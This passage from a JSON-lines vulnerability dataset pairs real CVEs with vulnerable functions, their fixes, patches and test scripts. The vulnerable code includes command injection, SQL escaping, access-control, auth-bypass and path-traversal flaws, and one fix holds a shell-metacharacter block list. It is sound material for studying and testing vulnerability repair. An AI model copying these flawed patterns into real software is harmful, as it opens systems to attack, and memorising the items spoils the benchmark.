{\n\t\t\tbreak\n\t\t}\n\t\ti++\n\t}\n\treturn count == 0\n}"}], "vul_patch": "--- a/scope.go\n+++ b/scope.go\n@@ -29,6 +29,10 @@\n \t\t}\n \n \t\tif value != \"\" {\n+\t\t\tif !scope.IsCompleteParentheses(value) {\n+\t\t\t\tscope.Err(fmt.Errorf(\"incomplete parentheses found: %v\", value))\n+\t\t\t\treturn\n+\t\t\t}\n \t\t\tif !include {\n \t\t\t\tif comparisonRegexp.MatchString(value) {\n \t\t\t\t\tstr = fmt.Sprintf(\"NOT (%v)\", value)\n\n--- /dev/null\n+++ b/scope.go\n@@ -0,0 +1,15 @@\n+func (scope *Scope) IsCompleteParentheses(value string) bool {\n+\tcount := 0\n+\tfor i, _ := range value {\n+\t\tif value[i] == 40 { // (\n+\t\t\tcount++\n+\t\t} else if value[i] == 41 { // )\n+\t\t\tcount--\n+\t\t}\n+\t\tif count < 0 {\n+\t\t\tbreak\n+\t\t}\n+\t\ti++\n+\t}\n+\treturn count == 0\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-11404", "cve_description": "Unrestricted Upload of File with Dangerous Type, Improper Input Validation, Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in django CMS Association django Filer allows Input Data Manipulation, Stored XSS.This issue affects django Filer: from 3 before 3.3.", "cwe_info": {"CWE-434": {"name": "Unrestricted Upload of File with Dangerous Type", "description": "The product allows the upload or transfer of dangerous file types that are automatically processed within its environment."}}, "repo": "https://github.com/django-cms/django-filer", "patch_url": ["https://github.com/django-cms/django-filer/commit/f8209a6507680661bd134cd30878993b79ef3344"], "programing_language": "Python", "vul_func": [{"id": "vul_py_322_1", "commit": "d72520c", "file_path": "filer/settings.py", "start_line": 292, "end_line": 295, "snippet": "FILE_VALIDATORS = {\n    \"text/html\": [\"filer.validation.deny_html\"],\n    \"image/svg+xml\": [\"filer.validation.validate_svg\"],\n}"}], "fix_func": [{"id": "fix_py_322_1", "commit": "f8209a6507680661bd134cd30878993b79ef3344", "file_path": "filer/settings.py", "start_line": 292, "end_line": 296, "snippet": "FILE_VALIDATORS = {\n    \"text/html\": [\"filer.validation.deny_html\"],\n    \"image/svg+xml\": [\"filer.validation.validate_svg\"],\n    \"application/octet-stream\": [\"filer.validation.deny\"],\n}"}], "vul_patch": "--- a/filer/settings.py\n+++ b/filer/settings.py\n@@ -1,4 +1,5 @@\n FILE_VALIDATORS = {\n     \"text/html\": [\"filer.validation.deny_html\"],\n     \"image/svg+xml\": [\"filer.validation.validate_svg\"],\n+    \"application/octet-stream\": [\"filer.validation.deny\"],\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10787", "cve_description": "im-resize through 2.3.2 allows remote attackers to execute arbitrary commands via the \"exec\" argument. The cmd argument used within index.js, can be controlled by user without any sanitization.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/Turistforeningen/node-im-resize", "patch_url": ["https://github.com/Turistforeningen/node-im-resize/commit/de624dacf6a50e39fe3472af1414d44937ce1f03"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_7_1", "commit": "499fe82", "file_path": "index.js", "start_line": 9, "end_line": 17, "snippet": "module.exports = function(image, output, cb) {\n  var cmd = module.exports.cmd(image, output);\n  exec(cmd, {timeout: 30000}, function(e, stdout, stderr) {\n    if (e) { return cb(e); }\n    if (stderr) { return cb(new Error(stderr)); }\n\n    return cb(null, output.versions);\n  });\n};"}], "fix_func": [{"id": "fix_js_7_1", "commit": "de624da", "file_path": "index.js", "start_line": 9, "end_line": 21, "snippet": "module.exports = function(image, output, cb) {\n  if(/;|&|`|\\$|\\(|\\)|\\|\\||\\||!|>|<|\\?|\\${/g.test(JSON.stringify(image))) {\n    console.log('Input Validation failed, Suspicious Characters found');\n  } else {\n  var cmd = module.exports.cmd(image, output);\n  exec(cmd, {timeout: 30000}, function(e, stdout, stderr) {\n    if (e) { return cb(e); }\n    if (stderr) { return cb(new Error(stderr)); }\n\n    return cb(null, output.versions);\n  });\n}\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,4 +1,7 @@\n module.exports = function(image, output, cb) {\n+  if(/;|&|`|\\$|\\(|\\)|\\|\\||\\||!|>|<|\\?|\\${/g.test(JSON.stringify(image))) {\n+    console.log('Input Validation failed, Suspicious Characters found');\n+  } else {\n   var cmd = module.exports.cmd(image, output);\n   exec(cmd, {timeout: 30000}, function(e, stdout, stderr) {\n     if (e) { return cb(e); }\n@@ -6,4 +9,5 @@\n \n     return cb(null, output.versions);\n   });\n+}\n };\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-10787:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-im-resize\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": "npx mocha --#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-10787:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/node-im-resize\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha  --grep \"resize.path()|resize.crop()|resize.resize()|resize.cmd()|resize.cmdVersion()\""}
{"cve_id": "CVE-2024-36039", "cve_description": "PyMySQL through 1.1.0 allows SQL injection if used with untrusted JSON input because keys are not escaped by escape_dict.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/PyMySQL/PyMySQL", "patch_url": ["https://github.com/PyMySQL/PyMySQL/commit/521e40050cb386a499f68f483fefd144c493053c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_190_1", "commit": "7f032a6", "file_path": "pymysql/converters.py", "start_line": 29, "end_line": 34, "snippet": "def escape_dict(val, charset, mapping=None):\n    n = {}\n    for k, v in val.items():\n        quoted = escape_item(v, charset, mapping)\n        n[k] = quoted\n    return n"}], "fix_func": [{"id": "fix_py_190_1", "commit": "521e400", "file_path": "pymysql/converters.py", "start_line": 29, "end_line": 30, "snippet": "def escape_dict(val, charset, mapping=None):\n    raise TypeError(\"dict can not be used as parameter\")"}], "vul_patch": "--- a/pymysql/converters.py\n+++ b/pymysql/converters.py\n@@ -1,6 +1,2 @@\n def escape_dict(val, charset, mapping=None):\n-    n = {}\n-    for k, v in val.items():\n-        quoted = escape_item(v, charset, mapping)\n-        n[k] = quoted\n-    return n\n+    raise TypeError(\"dict can not be used as parameter\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-0551", "cve_description": "Enable exports of the database and associated exported information of the system via the default user role. The attacked would have to have been granted access to the system prior to the attack.\n\nIt is worth noting that the deterministic nature of the export name is lower risk as the UI for exporting would start the download at the same time, which once downloaded - deletes the export from the system.\n\nThe endpoint for exporting should simply be patched to a higher privilege level.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/mintplex-labs/anything-llm", "patch_url": ["https://github.com/mintplex-labs/anything-llm/commit/7aaa4b38e7112a6cd879c1238310c56b1844c6d8"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_184_1", "commit": "e1dcd5d", "file_path": "server/endpoints/system.js", "start_line": 392, "end_line": 400, "snippet": "  app.get(\"/system/data-export\", [validatedRequest], async (_, response) => {\n    try {\n      const { filename, error } = await exportData();\n      response.status(200).json({ filename, error });\n    } catch (e) {\n      console.log(e.message, e);\n      response.sendStatus(500).end();\n    }\n  });"}], "fix_func": [{"id": "fix_js_184_1", "commit": "7aaa4b3", "file_path": "server/endpoints/system.js", "start_line": 392, "end_line": 404, "snippet": "  app.get(\n    \"/system/data-export\",\n    [validatedRequest, flexUserRoleValid],\n    async (_, response) => {\n      try {\n        const { filename, error } = await exportData();\n        response.status(200).json({ filename, error });\n      } catch (e) {\n        console.log(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );"}], "vul_patch": "--- a/server/endpoints/system.js\n+++ b/server/endpoints/system.js\n@@ -1,9 +1,13 @@\n-  app.get(\"/system/data-export\", [validatedRequest], async (_, response) => {\n-    try {\n-      const { filename, error } = await exportData();\n-      response.status(200).json({ filename, error });\n-    } catch (e) {\n-      console.log(e.message, e);\n-      response.sendStatus(500).end();\n+  app.get(\n+    \"/system/data-export\",\n+    [validatedRequest, flexUserRoleValid],\n+    async (_, response) => {\n+      try {\n+        const { filename, error } = await exportData();\n+        response.status(200).json({ filename, error });\n+      } catch (e) {\n+        console.log(e.message, e);\n+        response.sendStatus(500).end();\n+      }\n     }\n-  });\n+  );\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-43805", "cve_description": "Nexkey is a fork of Misskey, an open source, decentralized social media platform. Prior to version 12.121.9, incomplete URL validation can allow users to bypass authentication for access to the job queue dashboard. Version 12.121.9 contains a fix for this issue. As a workaround, it may be possible to avoid this by blocking access using tools such as Cloudflare's WAF.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/nexryai/nexkey", "patch_url": ["https://github.com/nexryai/nexkey/commit/d89575c521fd4492f5e2ba5a221c5e8f1382081d"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_229_1", "commit": "f6f3380", "file_path": "packages/backend/src/server/web/index.ts", "start_line": 46, "end_line": 60, "snippet": "app.use(async (ctx, next) => {\n\tif (ctx.path === bullBoardPath || ctx.path.startsWith(bullBoardPath + '/')) {\n\t\tconst token = ctx.cookies.get('token');\n\t\tif (token == null) {\n\t\t\tctx.status = 401;\n\t\t\treturn;\n\t\t}\n\t\tconst user = await Users.findOneBy({ token });\n\t\tif (user == null || !(user.isAdmin || user.isModerator)) {\n\t\t\tctx.status = 403;\n\t\t\treturn;\n\t\t}\n\t}\n\tawait next();\n});"}], "fix_func": [{"id": "fix_js_229_1", "commit": "d89575c521fd4492f5e2ba5a221c5e8f1382081d", "file_path": "packages/backend/src/server/web/index.ts", "start_line": 46, "end_line": 62, "snippet": "app.use(async (ctx, next) => {\n\t// %71ueue\\u3068\\u304b\\u3067\\u30ea\\u30af\\u30a8\\u30b9\\u30c8\\u3055\\u308c\\u305f\\u3089\\u56f0\\u308b\\u305f\\u3081\n\tconst url = decodeURI(ctx.path);\n\tif (url === bullBoardPath || url.startsWith(bullBoardPath + '/')) {\n\t\tconst token = ctx.cookies.get('token');\n\t\tif (token == null) {\n\t\t\tctx.status = 401;\n\t\t\treturn;\n\t\t}\n\t\tconst user = await Users.findOneBy({ token });\n\t\tif (user == null || !(user.isAdmin || user.isModerator)) {\n\t\t\tctx.status = 403;\n\t\t\treturn;\n\t\t}\n\t}\n\tawait next();\n});"}], "vul_patch": "--- a/packages/backend/src/server/web/index.ts\n+++ b/packages/backend/src/server/web/index.ts\n@@ -1,5 +1,7 @@\n app.use(async (ctx, next) => {\n-\tif (ctx.path === bullBoardPath || ctx.path.startsWith(bullBoardPath + '/')) {\n+\t// %71ueue\\u3068\\u304b\\u3067\\u30ea\\u30af\\u30a8\\u30b9\\u30c8\\u3055\\u308c\\u305f\\u3089\\u56f0\\u308b\\u305f\\u3081\n+\tconst url = decodeURI(ctx.path);\n+\tif (url === bullBoardPath || url.startsWith(bullBoardPath + '/')) {\n \t\tconst token = ctx.cookies.get('token');\n \t\tif (token == null) {\n \t\t\tctx.status = 401;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-29529", "cve_description": "HashiCorp go-slug up to 0.4.3 did not fully protect against directory traversal while unpacking tar archives, and protections could be bypassed with specific constructions of multiple symlinks. Fixed in 0.5.0.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/hashicorp/go-slug", "patch_url": ["https://github.com/hashicorp/go-slug/commit/764785bc4cbb9e600ad1cf1a6bd21b535c182983", "https://github.com/hashicorp/go-slug/commit/28cafc59c8da6126a3ae94dfa84181df4073454f"], "programing_language": "Go", "vul_func": [{"id": "vul_go_24_1", "commit": "dbc66eb", "file_path": "slug.go", "start_line": 206, "end_line": 303, "snippet": "func Unpack(r io.Reader, dst string) error {\n\t// Decompress as we read.\n\tuncompressed, err := gzip.NewReader(r)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to uncompress slug: %v\", err)\n\t}\n\n\t// Untar as we read.\n\tuntar := tar.NewReader(uncompressed)\n\n\t// Unpackage all the contents into the directory.\n\tfor {\n\t\theader, err := untar.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to untar slug: %v\", err)\n\t\t}\n\n\t\t// Get rid of absolute paths.\n\t\tpath := header.Name\n\t\tif path[0] == '/' {\n\t\t\tpath = path[1:]\n\t\t}\n\t\tpath = filepath.Join(dst, path)\n\n\t\t// Make the directories to the path.\n\t\tdir := filepath.Dir(path)\n\t\tif err := os.MkdirAll(dir, 0755); err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to create directory %q: %v\", dir, err)\n\t\t}\n\n\t\t// Handle symlinks.\n\t\tif header.Typeflag == tar.TypeSymlink {\n\t\t\t// Disallow absolute targets.\n\t\t\tif filepath.IsAbs(header.Linkname) {\n\t\t\t\treturn fmt.Errorf(\"Invalid symlink (%q -> %q) has absolute target\",\n\t\t\t\t\theader.Name, header.Linkname)\n\t\t\t}\n\n\t\t\t// Ensure the link target is within the destination directory. This\n\t\t\t// disallows providing symlinks to external files and directories.\n\t\t\ttarget := filepath.Join(dir, header.Linkname)\n\t\t\tif !strings.HasPrefix(target, dst) {\n\t\t\t\treturn fmt.Errorf(\"Invalid symlink (%q -> %q) has external target\",\n\t\t\t\t\theader.Name, header.Linkname)\n\t\t\t}\n\n\t\t\t// Create the symlink.\n\t\t\tif err := os.Symlink(header.Linkname, path); err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed creating symlink (%q -> %q): %v\",\n\t\t\t\t\theader.Name, header.Linkname, err)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// Only unpack regular files from this point on.\n\t\tif header.Typeflag == tar.TypeDir {\n\t\t\tcontinue\n\t\t} else if header.Typeflag != tar.TypeReg && header.Typeflag != tar.TypeRegA {\n\t\t\treturn fmt.Errorf(\"Failed creating %q: unsupported type %c\", path,\n\t\t\t\theader.Typeflag)\n\t\t}\n\n\t\t// Open a handle to the destination.\n\t\tfh, err := os.Create(path)\n\t\tif err != nil {\n\t\t\t// This mimics tar's behavior wrt the tar file containing duplicate files\n\t\t\t// and it allowing later ones to clobber earlier ones even if the file\n\t\t\t// has perms that don't allow overwriting.\n\t\t\tif os.IsPermission(err) {\n\t\t\t\tos.Chmod(path, 0600)\n\t\t\t\tfh, err = os.Create(path)\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed creating file %q: %v\", path, err)\n\t\t\t}\n\t\t}\n\n\t\t// Copy the contents.\n\t\t_, err = io.Copy(fh, untar)\n\t\tfh.Close()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to copy slug file %q: %v\", path, err)\n\t\t}\n\n\t\t// Restore the file mode. We have to do this after writing the file,\n\t\t// since it is possible we have a read-only mode.\n\t\tmode := header.FileInfo().Mode()\n\t\tif err := os.Chmod(path, mode); err != nil {\n\t\t\treturn fmt.Errorf(\"Failed setting permissions on %q: %v\", path, err)\n\t\t}\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_24_1", "commit": "28cafc5", "file_path": "slug.go", "start_line": 206, "end_line": 341, "snippet": "func Unpack(r io.Reader, dst string) error {\n\t// Decompress as we read.\n\tuncompressed, err := gzip.NewReader(r)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to uncompress slug: %v\", err)\n\t}\n\n\t// Untar as we read.\n\tuntar := tar.NewReader(uncompressed)\n\n\t// Unpackage all the contents into the directory.\n\tfor {\n\t\theader, err := untar.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to untar slug: %v\", err)\n\t\t}\n\n\t\t// Get rid of absolute paths.\n\t\tpath := header.Name\n\t\tif path[0] == '/' {\n\t\t\tpath = path[1:]\n\t\t}\n\t\tpath = filepath.Join(dst, path)\n\n\t\t// Check for paths outside our directory, they are forbidden\n\t\ttarget := filepath.Clean(path)\n\t\tif !strings.HasPrefix(target, dst) {\n\t\t\treturn fmt.Errorf(\"Invalid filename, traversal with \\\"..\\\" outside of current directory\")\n\t\t}\n\n\t\t// Ensure the destination is not through any symlinks. This prevents\n\t\t// any files from being deployed through symlinks defined in the slug.\n\t\t// There are malicious cases where this could be used to escape the\n\t\t// slug's boundaries (zipslip), and any legitimate use is questionable\n\t\t// and likely indicates a hand-crafted tar file, which we are not in\n\t\t// the business of supporting here.\n\t\t//\n\t\t// The strategy is to Lstat each path  component from dst up to the\n\t\t// immediate parent directory of the file name in the tarball, checking\n\t\t// the mode on each to ensure we wouldn't be passing through any\n\t\t// symlinks.\n\t\tcurrentPath := dst // Start at the root of the unpacked tarball.\n\t\tcomponents := strings.Split(header.Name, \"/\")\n\n\t\tfor i := 0; i < len(components)-1; i++ {\n\t\t\tcurrentPath = filepath.Join(currentPath, components[i])\n\t\t\tfi, err := os.Lstat(currentPath)\n\t\t\tif os.IsNotExist(err) {\n\t\t\t\t// Parent directory structure is incomplete. Technically this\n\t\t\t\t// means from here upward cannot be a symlink, so we cancel the\n\t\t\t\t// remaining path tests.\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed to evaluate path %q: %v\", header.Name, err)\n\t\t\t}\n\t\t\tif fi.Mode()&os.ModeSymlink != 0 {\n\t\t\t\treturn fmt.Errorf(\"Cannot extract %q through symlink\",\n\t\t\t\t\theader.Name)\n\t\t\t}\n\t\t}\n\n\t\t// Make the directories to the path.\n\t\tdir := filepath.Dir(path)\n\t\tif err := os.MkdirAll(dir, 0755); err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to create directory %q: %v\", dir, err)\n\t\t}\n\n\t\t// Handle symlinks.\n\t\tif header.Typeflag == tar.TypeSymlink {\n\t\t\t// Disallow absolute targets.\n\t\t\tif filepath.IsAbs(header.Linkname) {\n\t\t\t\treturn fmt.Errorf(\"Invalid symlink (%q -> %q) has absolute target\",\n\t\t\t\t\theader.Name, header.Linkname)\n\t\t\t}\n\n\t\t\t// Ensure the link target is within the destination directory. This\n\t\t\t// disallows providing symlinks to external files and directories.\n\t\t\ttarget := filepath.Join(dir, header.Linkname)\n\t\t\tif !strings.HasPrefix(target, dst) {\n\t\t\t\treturn fmt.Errorf(\"Invalid symlink (%q -> %q) has external target\",\n\t\t\t\t\theader.Name, header.Linkname)\n\t\t\t}\n\n\t\t\t// Create the symlink.\n\t\t\tif err := os.Symlink(header.Linkname, path); err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed creating symlink (%q -> %q): %v\",\n\t\t\t\t\theader.Name, header.Linkname, err)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// Only unpack regular files from this point on.\n\t\tif header.Typeflag == tar.TypeDir {\n\t\t\tcontinue\n\t\t} else if header.Typeflag != tar.TypeReg && header.Typeflag != tar.TypeRegA {\n\t\t\treturn fmt.Errorf(\"Failed creating %q: unsupported type %c\", path,\n\t\t\t\theader.Typeflag)\n\t\t}\n\n\t\t// Open a handle to the destination.\n\t\tfh, err := os.Create(path)\n\t\tif err != nil {\n\t\t\t// This mimics tar's behavior wrt the tar file containing duplicate files\n\t\t\t// and it allowing later ones to clobber earlier ones even if the file\n\t\t\t// has perms that don't allow overwriting.\n\t\t\tif os.IsPermission(err) {\n\t\t\t\tos.Chmod(path, 0600)\n\t\t\t\tfh, err = os.Create(path)\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed creating file %q: %v\", path, err)\n\t\t\t}\n\t\t}\n\n\t\t// Copy the contents.\n\t\t_, err = io.Copy(fh, untar)\n\t\tfh.Close()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to copy slug file %q: %v\", path, err)\n\t\t}\n\n\t\t// Restore the file mode. We have to do this after writing the file,\n\t\t// since it is possible we have a read-only mode.\n\t\tmode := header.FileInfo().Mode()\n\t\tif err := os.Chmod(path, mode); err != nil {\n\t\t\treturn fmt.Errorf(\"Failed setting permissions on %q: %v\", path, err)\n\t\t}\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/slug.go\n+++ b/slug.go\n@@ -24,6 +24,44 @@\n \t\t\tpath = path[1:]\n \t\t}\n \t\tpath = filepath.Join(dst, path)\n+\n+\t\t// Check for paths outside our directory, they are forbidden\n+\t\ttarget := filepath.Clean(path)\n+\t\tif !strings.HasPrefix(target, dst) {\n+\t\t\treturn fmt.Errorf(\"Invalid filename, traversal with \\\"..\\\" outside of current directory\")\n+\t\t}\n+\n+\t\t// Ensure the destination is not through any symlinks. This prevents\n+\t\t// any files from being deployed through symlinks defined in the slug.\n+\t\t// There are malicious cases where this could be used to escape the\n+\t\t// slug's boundaries (zipslip), and any legitimate use is questionable\n+\t\t// and likely indicates a hand-crafted tar file, which we are not in\n+\t\t// the business of supporting here.\n+\t\t//\n+\t\t// The strategy is to Lstat each path  component from dst up to the\n+\t\t// immediate parent directory of the file name in the tarball, checking\n+\t\t// the mode on each to ensure we wouldn't be passing through any\n+\t\t// symlinks.\n+\t\tcurrentPath := dst // Start at the root of the unpacked tarball.\n+\t\tcomponents := strings.Split(header.Name, \"/\")\n+\n+\t\tfor i := 0; i < len(components)-1; i++ {\n+\t\t\tcurrentPath = filepath.Join(currentPath, components[i])\n+\t\t\tfi, err := os.Lstat(currentPath)\n+\t\t\tif os.IsNotExist(err) {\n+\t\t\t\t// Parent directory structure is incomplete. Technically this\n+\t\t\t\t// means from here upward cannot be a symlink, so we cancel the\n+\t\t\t\t// remaining path tests.\n+\t\t\t\tbreak\n+\t\t\t}\n+\t\t\tif err != nil {\n+\t\t\t\treturn fmt.Errorf(\"Failed to evaluate path %q: %v\", header.Name, err)\n+\t\t\t}\n+\t\t\tif fi.Mode()&os.ModeSymlink != 0 {\n+\t\t\t\treturn fmt.Errorf(\"Cannot extract %q through symlink\",\n+\t\t\t\t\theader.Name)\n+\t\t\t}\n+\t\t}\n \n \t\t// Make the directories to the path.\n \t\tdir := filepath.Dir(path)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-29529:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/go-slug\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^TestUnpackMaliciousSymlinks$ github.com/hashicorp/go-slug\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-29529:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/go-slug\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestUnpackErrorOnUnhandledType|TestUnpackDuplicateNoWritePerm|TestPackWithoutDereferencing|TestUnpack|TestCheckFileMode|TestPackWithDereferencing|TestUnpackMaliciousSymlinks|TestPack)$' github.com/hashicorp/go-slug"}
{"cve_id": "CVE-2022-42906", "cve_description": "powerline-gitstatus (aka Powerline Gitstatus) before 1.3.2 allows arbitrary code execution. git repositories can contain per-repository configuration that changes the behavior of git, including running arbitrary commands. When using powerline-gitstatus, changing to a directory automatically runs git commands in order to display information about the current repository in the prompt. If an attacker can convince a user to change their current directory to one controlled by the attacker, such as in a shared filesystem or extracted archive, powerline-gitstatus will run arbitrary commands under the attacker's control. NOTE: this is similar to CVE-2022-20001.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/jaspernbrouwer/powerline-gitstatus", "patch_url": ["https://github.com/jaspernbrouwer/powerline-gitstatus/commit/fe8e963b3489e4cceaa2c1f26f2bcc2ef405364c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_366_1", "commit": "8000c7f41305ddb421528dd00b6292ffd121c2c2", "file_path": "powerline_gitstatus/segments.py", "start_line": 28, "end_line": 40, "snippet": "    def get_base_command(self, cwd, use_dash_c):\n        if use_dash_c:\n            return ['git', '-C', cwd]\n\n        while cwd and cwd != os.sep:\n            gitdir = os.path.join(cwd, '.git')\n\n            if os.path.isdir(gitdir):\n                return ['git', '--git-dir=%s' % gitdir, '--work-tree=%s' % cwd]\n\n            cwd = os.path.dirname(cwd)\n\n        return None"}], "fix_func": [{"id": "fix_py_366_1", "commit": "fe8e963b3489e4cceaa2c1f26f2bcc2ef405364c", "file_path": "powerline_gitstatus/segments.py", "start_line": 28, "end_line": 40, "snippet": "    def get_base_command(self, cwd, use_dash_c):\n        if use_dash_c:\n            return ['git', '-c', 'core.fsmonitor=', '-C', cwd]\n\n        while cwd and cwd != os.sep:\n            gitdir = os.path.join(cwd, '.git')\n\n            if os.path.isdir(gitdir):\n                return ['git', '-c', 'core.fsmonitor=', '--git-dir=%s' % gitdir, '--work-tree=%s' % cwd]\n\n            cwd = os.path.dirname(cwd)\n\n        return None"}], "vul_patch": "--- a/powerline_gitstatus/segments.py\n+++ b/powerline_gitstatus/segments.py\n@@ -1,12 +1,12 @@\n     def get_base_command(self, cwd, use_dash_c):\n         if use_dash_c:\n-            return ['git', '-C', cwd]\n+            return ['git', '-c', 'core.fsmonitor=', '-C', cwd]\n \n         while cwd and cwd != os.sep:\n             gitdir = os.path.join(cwd, '.git')\n \n             if os.path.isdir(gitdir):\n-                return ['git', '--git-dir=%s' % gitdir, '--work-tree=%s' % cwd]\n+                return ['git', '-c', 'core.fsmonitor=', '--git-dir=%s' % gitdir, '--work-tree=%s' % cwd]\n \n             cwd = os.path.dirname(cwd)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-29041", "cve_description": "Express.js minimalist web framework for node. Versions of Express.js prior to 4.19.0 and all pre-release alpha and beta versions of 5.0 are affected by an open redirect vulnerability using malformed URLs. When a user of Express performs a redirect using a user-provided URL Express performs an encode [using `encodeurl`](https://github.com/pillarjs/encodeurl) on the contents before passing it to the `location` header. This can cause malformed URLs to be evaluated in unexpected ways by common redirect allow list implementations in Express applications, leading to an Open Redirect via bypass of a properly implemented allow list. The main method impacted is `res.location()` but this is also called from within `res.redirect()`. The vulnerability is fixed in 4.19.2 and 5.0.0-beta.3.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/expressjs/express", "patch_url": ["https://github.com/expressjs/express/commit/0b746953c4bd8e377123527db11f9cd866e39f94", "https://github.com/expressjs/express/commit/0867302ddbde0e9463d0564fea5861feb708c2dd"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_49_1", "commit": "567c9c6", "file_path": "lib/response.js", "start_line": 906, "end_line": 914, "snippet": "res.location = function location(url) {\n  var loc = url;\n\n  // \"back\" is an alias for the referrer\n  if (url === 'back') {\n    loc = this.req.get('Referrer') || '/';\n  }\n\n  // set location"}], "fix_func": [{"id": "fix_js_49_1", "commit": "0867302ddbde0e9463d0564fea5861feb708c2dd", "file_path": "lib/response.js", "start_line": 907, "end_line": 934, "snippet": "res.location = function location(url) {\n  var loc = url;\n\n  // \"back\" is an alias for the referrer\n  if (url === 'back') {\n    loc = this.req.get('Referrer') || '/';\n  }\n\n  var lowerLoc = loc.toLowerCase();\n  var encodedUrl = encodeUrl(loc);\n  if 